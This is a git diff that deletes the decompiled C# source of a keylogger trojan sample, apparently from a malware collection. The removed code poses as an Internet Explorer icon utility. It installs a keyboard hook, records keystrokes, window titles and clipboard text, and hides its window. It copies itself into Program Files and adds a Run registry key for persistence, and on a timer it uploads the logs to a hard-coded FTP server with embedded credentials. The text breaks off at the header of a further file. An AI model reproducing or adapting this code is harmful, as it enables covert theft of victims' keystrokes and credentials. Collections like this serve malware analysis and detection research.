a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/AssemblyInfo.cs deleted file mode 100644 index 5885c4ec..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyProduct("John Wayne Saprihres")] -[assembly: AssemblyCopyright("Copyright © AMD LTS Studios")] -[assembly: AssemblyDescription("İntnet Explorer Kullanıcısına Kolaylıks")] -[assembly: AssemblyTitle("İnternet Explororer İnconss")] -[assembly: AssemblyCompany("AMD LTS Studios")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: Guid("e2c842b7-8e4b-4fd4-a1a0-bb0fd7bab154")] -[assembly: ComVisible(false)] -[assembly: AssemblyTrademark("John Wayne Saprihre")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Form1.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Form1.cs deleted file mode 100644 index cee292af..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Form1.cs +++ /dev/null @@ -1,910 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: İnternet_Explororer_İncons.Form1 -// Assembly: İnternet Explororer İncons, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 88E64AC3-71C5-4F41-9C01-5AA3C20B0433 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c.exe - -using İnternet_Explororer_İncons.My; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace İnternet_Explororer_İncons -{ - [DesignerGenerated] - public class Form1 : Form - { - private static List __ENCList = new List(); - private IContainer components; - [AccessedThroughProperty("TextBox1")] - private TextBox _TextBox1; - [AccessedThroughProperty("Label1")] - private Label _Label1; - [AccessedThroughProperty("Label2")] - private Label _Label2; - [AccessedThroughProperty("GroupBox1")] - private GroupBox _GroupBox1; - [AccessedThroughProperty("Label3")] - private Label _Label3; - [AccessedThroughProperty("GroupBox2")] - private GroupBox _GroupBox2; - [AccessedThroughProperty("Label4")] - private Label _Label4; - [AccessedThroughProperty("GroupBox3")] - private GroupBox _GroupBox3; - [AccessedThroughProperty("Timer1")] - private Timer _Timer1; - [AccessedThroughProperty("Timer2")] - private Timer _Timer2; - [AccessedThroughProperty("GroupBox4")] - private GroupBox _GroupBox4; - [AccessedThroughProperty("TextBox2")] - private TextBox _TextBox2; - [AccessedThroughProperty("GroupBox5")] - private GroupBox _GroupBox5; - [AccessedThroughProperty("Label6")] - private Label _Label6; - [AccessedThroughProperty("Label5")] - private Label _Label5; - [AccessedThroughProperty("Label7")] - private Label _Label7; - [AccessedThroughProperty("Label8")] - private Label _Label8; - [AccessedThroughProperty("GroupBox6")] - private GroupBox _GroupBox6; - [AccessedThroughProperty("K")] - private Keyboard _K; - private string strin; - private const short VK_SNAPSHOT = 44; - - [DebuggerNonUserCode] - static Form1() - { - } - - public Form1() - { - this.Load += new EventHandler(this.Form1_Load); - Form1.__ENCAddToList((object) this); - this.K = new Keyboard(); - this.strin = (string) null; - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - private static void __ENCAddToList(object value) - { - lock (Form1.__ENCList) - { - if (Form1.__ENCList.Count == Form1.__ENCList.Capacity) - { - int index1 = 0; - int num = checked (Form1.__ENCList.Count - 1); - int index2 = 0; - while (index2 <= num) - { - if (Form1.__ENCList[index2].IsAlive) - { - if (index2 != index1) - Form1.__ENCList[index1] = Form1.__ENCList[index2]; - checked { ++index1; } - } - checked { ++index2; } - } - Form1.__ENCList.RemoveRange(index1, checked (Form1.__ENCList.Count - index1)); - Form1.__ENCList.Capacity = Form1.__ENCList.Count; - } - Form1.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value))); - } - } - - [STAThread] - public static void Main() => Application.Run((Form) MyProject.Forms.Form1); - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.components = (IContainer) new System.ComponentModel.Container(); - ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1)); - this.TextBox1 = new TextBox(); - this.Label1 = new Label(); - this.Label2 = new Label(); - this.GroupBox1 = new GroupBox(); - this.Label3 = new Label(); - this.GroupBox2 = new GroupBox(); - this.Label4 = new Label(); - this.GroupBox3 = new GroupBox(); - this.Timer1 = new Timer(this.components); - this.Timer2 = new Timer(this.components); - this.GroupBox4 = new GroupBox(); - this.TextBox2 = new TextBox(); - this.GroupBox5 = new GroupBox(); - this.Label6 = new Label(); - this.Label5 = new Label(); - this.Label7 = new Label(); - this.Label8 = new Label(); - this.GroupBox6 = new GroupBox(); - this.GroupBox1.SuspendLayout(); - this.GroupBox2.SuspendLayout(); - this.GroupBox3.SuspendLayout(); - this.GroupBox4.SuspendLayout(); - this.GroupBox5.SuspendLayout(); - this.GroupBox6.SuspendLayout(); - this.SuspendLayout(); - this.TextBox1.Enabled = false; - TextBox textBox1_1 = this.TextBox1; - Point point1 = new Point(3, 11); - Point point2 = point1; - textBox1_1.Location = point2; - TextBox textBox1_2 = this.TextBox1; - Padding padding1 = new Padding(4); - Padding padding2 = padding1; - textBox1_2.Margin = padding2; - this.TextBox1.Multiline = true; - this.TextBox1.Name = "TextBox1"; - TextBox textBox1_3 = this.TextBox1; - Size size1 = new Size(12, 11); - Size size2 = size1; - textBox1_3.Size = size2; - this.TextBox1.TabIndex = 0; - this.Label1.AutoSize = true; - this.Label1.ForeColor = Color.Maroon; - Label label1_1 = this.Label1; - point1 = new Point(579, 25); - Point point3 = point1; - label1_1.Location = point3; - Label label1_2 = this.Label1; - padding1 = new Padding(4, 0, 4, 0); - Padding padding3 = padding1; - label1_2.Margin = padding3; - this.Label1.Name = "Label1"; - Label label1_3 = this.Label1; - size1 = new Size(63, 68); - Size size3 = size1; - label1_3.Size = size3; - this.Label1.TabIndex = 1; - this.Label1.Text = "\r\n\r\n\r\n"; - this.Label2.AutoSize = true; - this.Label2.ForeColor = Color.Maroon; - Label label2_1 = this.Label2; - point1 = new Point(15, 25); - Point point4 = point1; - label2_1.Location = point4; - Label label2_2 = this.Label2; - padding1 = new Padding(4, 0, 4, 0); - Padding padding4 = padding1; - label2_2.Margin = padding4; - this.Label2.Name = "Label2"; - Label label2_3 = this.Label2; - size1 = new Size(522, 68); - Size size4 = size1; - label2_3.Size = size4; - this.Label2.TabIndex = 2; - this.Label2.Text = "\r\n\r\n\r\n
"; - this.GroupBox1.Controls.Add((Control) this.Label2); - this.GroupBox1.Controls.Add((Control) this.Label1); - GroupBox groupBox1_1 = this.GroupBox1; - point1 = new Point(273, 34); - Point point5 = point1; - groupBox1_1.Location = point5; - GroupBox groupBox1_2 = this.GroupBox1; - padding1 = new Padding(4); - Padding padding5 = padding1; - groupBox1_2.Margin = padding5; - this.GroupBox1.Name = "GroupBox1"; - GroupBox groupBox1_3 = this.GroupBox1; - padding1 = new Padding(4); - Padding padding6 = padding1; - groupBox1_3.Padding = padding6; - GroupBox groupBox1_4 = this.GroupBox1; - size1 = new Size(161, 16); - Size size5 = size1; - groupBox1_4.Size = size5; - this.GroupBox1.TabIndex = 3; - this.GroupBox1.TabStop = false; - this.GroupBox1.Text = "Tablo HTML Kodu:"; - this.Label3.AutoSize = true; - this.Label3.BackColor = Color.Transparent; - this.Label3.ForeColor = Color.Maroon; - Label label3_1 = this.Label3; - point1 = new Point(5, 27); - Point point6 = point1; - label3_1.Location = point6; - Label label3_2 = this.Label3; - padding1 = new Padding(4, 0, 4, 0); - Padding padding7 = padding1; - label3_2.Margin = padding7; - this.Label3.Name = "Label3"; - Label label3_3 = this.Label3; - size1 = new Size(475, 119); - Size size6 = size1; - label3_3.Size = size6; - this.Label3.TabIndex = 4; - this.Label3.Text = componentResourceManager.GetString("Label3.Text"); - this.GroupBox2.Controls.Add((Control) this.Label3); - GroupBox groupBox2_1 = this.GroupBox2; - point1 = new Point(273, 11); - Point point7 = point1; - groupBox2_1.Location = point7; - GroupBox groupBox2_2 = this.GroupBox2; - padding1 = new Padding(4); - Padding padding8 = padding1; - groupBox2_2.Margin = padding8; - this.GroupBox2.Name = "GroupBox2"; - GroupBox groupBox2_3 = this.GroupBox2; - padding1 = new Padding(4); - Padding padding9 = padding1; - groupBox2_3.Padding = padding9; - GroupBox groupBox2_4 = this.GroupBox2; - size1 = new Size(137, 18); - Size size7 = size1; - groupBox2_4.Size = size7; - this.GroupBox2.TabIndex = 5; - this.GroupBox2.TabStop = false; - this.GroupBox2.Text = "HTML Başlangıç Kodu"; - this.Label4.AutoSize = true; - Label label4_1 = this.Label4; - point1 = new Point(75, 32); - Point point8 = point1; - label4_1.Location = point8; - Label label4_2 = this.Label4; - padding1 = new Padding(4, 0, 4, 0); - Padding padding10 = padding1; - label4_2.Margin = padding10; - this.Label4.Name = "Label4"; - Label label4_3 = this.Label4; - size1 = new Size(51, 17); - Size size8 = size1; - label4_3.Size = size8; - this.Label4.TabIndex = 6; - this.Label4.Text = "Label4"; - this.GroupBox3.Controls.Add((Control) this.Label4); - GroupBox groupBox3_1 = this.GroupBox3; - point1 = new Point(273, 59); - Point point9 = point1; - groupBox3_1.Location = point9; - GroupBox groupBox3_2 = this.GroupBox3; - padding1 = new Padding(4); - Padding padding11 = padding1; - groupBox3_2.Margin = padding11; - this.GroupBox3.Name = "GroupBox3"; - GroupBox groupBox3_3 = this.GroupBox3; - padding1 = new Padding(4); - Padding padding12 = padding1; - groupBox3_3.Padding = padding12; - GroupBox groupBox3_4 = this.GroupBox3; - size1 = new Size(116, 21); - Size size9 = size1; - groupBox3_4.Size = size9; - this.GroupBox3.TabIndex = 7; - this.GroupBox3.TabStop = false; - this.GroupBox3.Text = "Bilgisayar Adı"; - this.Timer1.Enabled = true; - this.Timer1.Interval = 900000; - this.Timer2.Enabled = true; - this.GroupBox4.Controls.Add((Control) this.TextBox2); - GroupBox groupBox4_1 = this.GroupBox4; - point1 = new Point(273, 87); - Point point10 = point1; - groupBox4_1.Location = point10; - GroupBox groupBox4_2 = this.GroupBox4; - padding1 = new Padding(4); - Padding padding13 = padding1; - groupBox4_2.Margin = padding13; - this.GroupBox4.Name = "GroupBox4"; - GroupBox groupBox4_3 = this.GroupBox4; - padding1 = new Padding(4); - Padding padding14 = padding1; - groupBox4_3.Padding = padding14; - GroupBox groupBox4_4 = this.GroupBox4; - size1 = new Size(137, 20); - Size size10 = size1; - groupBox4_4.Size = size10; - this.GroupBox4.TabIndex = 9; - this.GroupBox4.TabStop = false; - this.GroupBox4.Text = "Kopyala Yapıştır"; - this.TextBox2.Enabled = false; - TextBox textBox2_1 = this.TextBox2; - point1 = new Point(31, 26); - Point point11 = point1; - textBox2_1.Location = point11; - TextBox textBox2_2 = this.TextBox2; - padding1 = new Padding(4); - Padding padding15 = padding1; - textBox2_2.Margin = padding15; - this.TextBox2.Name = "TextBox2"; - TextBox textBox2_3 = this.TextBox2; - size1 = new Size(284, 22); - Size size11 = size1; - textBox2_3.Size = size11; - this.TextBox2.TabIndex = 0; - this.GroupBox5.Controls.Add((Control) this.Label6); - this.GroupBox5.Controls.Add((Control) this.Label5); - GroupBox groupBox5_1 = this.GroupBox5; - point1 = new Point(273, 114); - Point point12 = point1; - groupBox5_1.Location = point12; - GroupBox groupBox5_2 = this.GroupBox5; - padding1 = new Padding(4); - Padding padding16 = padding1; - groupBox5_2.Margin = padding16; - this.GroupBox5.Name = "GroupBox5"; - GroupBox groupBox5_3 = this.GroupBox5; - padding1 = new Padding(4); - Padding padding17 = padding1; - groupBox5_3.Padding = padding17; - GroupBox groupBox5_4 = this.GroupBox5; - size1 = new Size(151, 16); - Size size12 = size1; - groupBox5_4.Size = size12; - this.GroupBox5.TabIndex = 1; - this.GroupBox5.TabStop = false; - this.GroupBox5.Text = "Kopyala Yapıştır Renk"; - this.Label6.AutoSize = true; - this.Label6.ForeColor = Color.Maroon; - Label label6_1 = this.Label6; - point1 = new Point(239, 48); - Point point13 = point1; - label6_1.Location = point13; - Label label6_2 = this.Label6; - padding1 = new Padding(4, 0, 4, 0); - Padding padding18 = padding1; - label6_2.Margin = padding18; - this.Label6.Name = "Label6"; - Label label6_3 = this.Label6; - size1 = new Size(52, 17); - Size size13 = size1; - label6_3.Size = size13; - this.Label6.TabIndex = 1; - this.Label6.Text = ""; - this.Label5.AutoSize = true; - this.Label5.ForeColor = Color.Maroon; - Label label5_1 = this.Label5; - point1 = new Point(31, 48); - Point point14 = point1; - label5_1.Location = point14; - Label label5_2 = this.Label5; - padding1 = new Padding(4, 0, 4, 0); - Padding padding19 = padding1; - label5_2.Margin = padding19; - this.Label5.Name = "Label5"; - Label label5_3 = this.Label5; - size1 = new Size(155, 17); - Size size14 = size1; - label5_3.Size = size14; - this.Label5.TabIndex = 0; - this.Label5.Text = ""; - this.Label7.AutoSize = true; - Label label7_1 = this.Label7; - point1 = new Point(12, 23); - Point point15 = point1; - label7_1.Location = point15; - Label label7_2 = this.Label7; - padding1 = new Padding(4, 0, 4, 0); - Padding padding20 = padding1; - label7_2.Margin = padding20; - this.Label7.Name = "Label7"; - Label label7_3 = this.Label7; - size1 = new Size(64, 17); - Size size15 = size1; - label7_3.Size = size15; - this.Label7.TabIndex = 10; - this.Label7.Text = ""; - this.Label8.AutoSize = true; - Label label8_1 = this.Label8; - point1 = new Point(72, 23); - Point point16 = point1; - label8_1.Location = point16; - Label label8_2 = this.Label8; - padding1 = new Padding(4, 0, 4, 0); - Padding padding21 = padding1; - label8_2.Margin = padding21; - this.Label8.Name = "Label8"; - Label label8_3 = this.Label8; - size1 = new Size(68, 17); - Size size16 = size1; - label8_3.Size = size16; - this.Label8.TabIndex = 11; - this.Label8.Text = ""; - this.GroupBox6.Controls.Add((Control) this.Label8); - this.GroupBox6.Controls.Add((Control) this.Label7); - GroupBox groupBox6_1 = this.GroupBox6; - point1 = new Point(283, 145); - Point point17 = point1; - groupBox6_1.Location = point17; - GroupBox groupBox6_2 = this.GroupBox6; - padding1 = new Padding(4); - Padding padding22 = padding1; - groupBox6_2.Margin = padding22; - this.GroupBox6.Name = "GroupBox6"; - GroupBox groupBox6_3 = this.GroupBox6; - padding1 = new Padding(4); - Padding padding23 = padding1; - groupBox6_3.Padding = padding23; - GroupBox groupBox6_4 = this.GroupBox6; - size1 = new Size(141, 18); - Size size17 = size1; - groupBox6_4.Size = size17; - this.GroupBox6.TabIndex = 12; - this.GroupBox6.TabStop = false; - this.GroupBox6.Text = "Kalın Yaız"; - this.AutoScaleDimensions = new SizeF(8f, 16f); - this.AutoScaleMode = AutoScaleMode.Font; - size1 = new Size(1, 1); - this.ClientSize = size1; - this.Controls.Add((Control) this.GroupBox6); - this.Controls.Add((Control) this.GroupBox5); - this.Controls.Add((Control) this.GroupBox1); - this.Controls.Add((Control) this.GroupBox2); - this.Controls.Add((Control) this.GroupBox4); - this.Controls.Add((Control) this.GroupBox3); - this.Controls.Add((Control) this.TextBox1); - this.FormBorderStyle = FormBorderStyle.None; - padding1 = new Padding(4); - this.Margin = padding1; - size1 = new Size(1, 1); - this.MaximumSize = size1; - size1 = new Size(1, 1); - this.MinimumSize = size1; - this.Name = nameof (Form1); - this.Text = "İnternet Explorer İcons Change"; - this.GroupBox1.ResumeLayout(false); - this.GroupBox1.PerformLayout(); - this.GroupBox2.ResumeLayout(false); - this.GroupBox2.PerformLayout(); - this.GroupBox3.ResumeLayout(false); - this.GroupBox3.PerformLayout(); - this.GroupBox4.ResumeLayout(false); - this.GroupBox4.PerformLayout(); - this.GroupBox5.ResumeLayout(false); - this.GroupBox5.PerformLayout(); - this.GroupBox6.ResumeLayout(false); - this.GroupBox6.PerformLayout(); - this.ResumeLayout(false); - this.PerformLayout(); - } - - internal virtual TextBox TextBox1 - { - [DebuggerNonUserCode] get => this._TextBox1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value; - } - - internal virtual Label Label1 - { - [DebuggerNonUserCode] get => this._Label1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value; - } - - internal virtual Label Label2 - { - [DebuggerNonUserCode] get => this._Label2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label2 = value; - } - - internal virtual GroupBox GroupBox1 - { - [DebuggerNonUserCode] get => this._GroupBox1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox1 = value; - } - - internal virtual Label Label3 - { - [DebuggerNonUserCode] get => this._Label3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label3 = value; - } - - internal virtual GroupBox GroupBox2 - { - [DebuggerNonUserCode] get => this._GroupBox2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox2 = value; - } - - internal virtual Label Label4 - { - [DebuggerNonUserCode] get => this._Label4; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label4 = value; - } - - internal virtual GroupBox GroupBox3 - { - [DebuggerNonUserCode] get => this._GroupBox3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox3 = value; - } - - internal virtual Timer Timer1 - { - [DebuggerNonUserCode] get => this._Timer1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer1_Tick); - if (this._Timer1 != null) - this._Timer1.Tick -= eventHandler; - this._Timer1 = value; - if (this._Timer1 == null) - return; - this._Timer1.Tick += eventHandler; - } - } - - internal virtual Timer Timer2 - { - [DebuggerNonUserCode] get => this._Timer2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer2_Tick); - if (this._Timer2 != null) - this._Timer2.Tick -= eventHandler; - this._Timer2 = value; - if (this._Timer2 == null) - return; - this._Timer2.Tick += eventHandler; - } - } - - internal virtual GroupBox GroupBox4 - { - [DebuggerNonUserCode] get => this._GroupBox4; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox4 = value; - } - - internal virtual TextBox TextBox2 - { - [DebuggerNonUserCode] get => this._TextBox2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.TextBox2_TextChanged); - if (this._TextBox2 != null) - this._TextBox2.TextChanged -= eventHandler; - this._TextBox2 = value; - if (this._TextBox2 == null) - return; - this._TextBox2.TextChanged += eventHandler; - } - } - - internal virtual GroupBox GroupBox5 - { - [DebuggerNonUserCode] get => this._GroupBox5; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox5 = value; - } - - internal virtual Label Label6 - { - [DebuggerNonUserCode] get => this._Label6; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label6 = value; - } - - internal virtual Label Label5 - { - [DebuggerNonUserCode] get => this._Label5; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label5 = value; - } - - internal virtual Label Label7 - { - [DebuggerNonUserCode] get => this._Label7; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label7 = value; - } - - internal virtual Label Label8 - { - [DebuggerNonUserCode] get => this._Label8; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label8 = value; - } - - internal virtual GroupBox GroupBox6 - { - [DebuggerNonUserCode] get => this._GroupBox6; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox6 = value; - } - - private virtual Keyboard K - { - [DebuggerNonUserCode] get => this._K; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - Keyboard.DownEventHandler downEventHandler = new Keyboard.DownEventHandler(this.K_Down); - if (this._K != null) - Keyboard.Down -= downEventHandler; - this._K = value; - if (this._K == null) - return; - Keyboard.Down += downEventHandler; - } - } - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetKeyState(long keys); - - private void Form1_Load(object sender, EventArgs e) - { - this.ProgramKontrol(); - this.BilgisayarismiHTML(); - this.Gizle(); - this.Baslangıcaekle(); - this.K.CreateHook(); - } - - private string GetActiveWindowTitle() - { - string lpString = new string(char.MinValue, 100); - Form1.GetWindowText(Form1.GetForegroundWindow(), ref lpString, 100); - return lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - - private void K_Down(string key) - { - if (Operators.CompareString(this.strin, this.GetActiveWindowTitle(), false) != 0) - { - this.TextBox1.Text = this.TextBox1.Text + "\r\n" + this.Label2.Text + "

" + this.GetActiveWindowTitle() + "

" + this.Label1.Text + "\r\n"; - this.strin = this.GetActiveWindowTitle(); - } - this.TextBox1.Text += key; - } - - public void BilgisayarismiHTML() - { - this.TextBox1.Text = this.Label3.Text; - this.Label4.Text = MyProject.Computer.Name + Conversions.ToString(DateAndTime.TimeOfDay.Second) + Conversions.ToString(DateAndTime.TimeOfDay.Minute); - } - - public void Gizle() - { - this.Hide(); - this.ShowInTaskbar = false; - this.Opacity = 0.0; - } - - public void Baslangıcaekle() - { - string destinationFileName = "C:\\Program Files\\ChromeToolbarsicn.exe"; - if (!File.Exists("C:\\Program Files\\ChromeToolbarsicn.exe")) - Microsoft.VisualBasic.FileIO.FileSystem.CopyFile(Application.ExecutablePath, destinationFileName, true); - MyProject.Computer.Registry.SetValue("HKEY_lOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", "GoogleChromeİcon", (object) destinationFileName); - } - - [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] - public void ProgramKontrol() - { -label_1: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_2: - int num3 = 2; - string moduleName = Process.GetCurrentProcess().MainModule.ModuleName; -label_3: - num3 = 3; - string withoutExtension = Path.GetFileNameWithoutExtension(moduleName); -label_4: - num3 = 4; - Process[] processesByName = Process.GetProcessesByName(withoutExtension); -label_5: - num3 = 5; - if (processesByName.Length > 1) - ProjectData.EndApp(); -label_7: - goto label_14; -label_9: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_1; - case 2: - goto label_2; - case 3: - goto label_3; - case 4: - goto label_4; - case 5: - goto label_5; - case 6: - case 7: - goto label_7; - case 8: - goto label_14; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_9; - } - throw ProjectData.CreateProjectError(-2146828237); -label_14: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void Upload() - { -label_1: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 2; -label_2: - int num3 = 2; - MyProject.Computer.Network.UploadFile("C:\\Program Files\\Internet Explorer\\" + this.Label4.Text + ".html", "ftp://srreal88.sr.funpic.org/resim/" + this.Label4.Text + ".html", "srreal_903428", "1q2w3eaq1"); -label_3: -label_4: - ProjectData.ClearProjectError(); - num1 = -2; -label_5: - num3 = 4; - MyProject.Computer.Network.UploadFile("C:\\Program Files\\Internet Explorer\\" + this.Label4.Text + ".html", "ftp://srreal88.sr.funpic.org/resim/" + this.Label4.Text + ".html", "srreal_903428", "1q2w3eaq1"); - goto label_12; -label_7: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_1; - case 2: - goto label_2; - case 3: - goto label_4; - case 4: - goto label_5; - case 5: - goto label_12; - } - break; - case 2: - goto label_3; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_7; - } - throw ProjectData.CreateProjectError(-2146828237); -label_12: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void yazdırdosya() - { - StreamWriter streamWriter = MyProject.Computer.FileSystem.OpenTextFileWriter("C:\\Program Files\\Internet Explorer\\" + this.Label4.Text + ".html", true); - streamWriter.WriteLine(this.TextBox1.Text); - streamWriter.Close(); - streamWriter.Dispose(); - } - - private void Timer2_Tick(object sender, EventArgs e) => this.TextBox2.Text = Clipboard.GetText(); - - private void TextBox2_TextChanged(object sender, EventArgs e) => this.TextBox1.Text = this.TextBox1.Text + this.Label5.Text + this.TextBox2.Text + this.Label6.Text; - - [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] - private void Timer1_Tick(object sender, EventArgs e) - { -label_1: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_2: - int num3 = 2; - this.TextBox1.Text += ""; -label_3: - num3 = 3; - this.K.DiposeHook(); -label_4: - num3 = 4; - this.yazdırdosya(); -label_5: - num3 = 5; - this.Upload(); -label_6: - num3 = 6; - Microsoft.VisualBasic.FileSystem.Kill("C:\\Program Files\\Internet Explorer\\" + this.Label4.Text + ".html"); -label_7: - num3 = 7; - this.Label4.Text += "1"; -label_8: - num3 = 8; - this.TextBox1.Text = this.Label3.Text; -label_9: - num3 = 9; - this.K.CreateHook(); - goto label_16; -label_11: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_1; - case 2: - goto label_2; - case 3: - goto label_3; - case 4: - goto label_4; - case 5: - goto label_5; - case 6: - goto label_6; - case 7: - goto label_7; - case 8: - goto label_8; - case 9: - goto label_9; - case 10: - goto label_16; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_11; - } - throw ProjectData.CreateProjectError(-2146828237); -label_16: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Form1.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Form1.resx deleted file mode 100644 index b9bf5dc2..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Form1.resx +++ /dev/null @@ -1,130 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - <html> - - - -<META http-equiv=content-type content=text/html;charset=iso-8859-9> -<META http-equiv=content-type content=text/html;charset=windows-1254> -<META http-equiv=content-type content=text/html;charset=x-mac-turkish> - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Keyboard.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Keyboard.cs deleted file mode 100644 index 6b99eb84..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxuq-09a3557d712ea2477a6d3c538dff55388670dd8d25105f75325129947182c50c/Keyboard.cs +++ /dev/null @@ -1,377 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: İnternet_Explororer_İncons.Keyboard -// Assembly: İnternet Explororer İncons, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 88E64AC3-71C5-4F41-9C01-5AA3C20B0433 -// Assembly location: 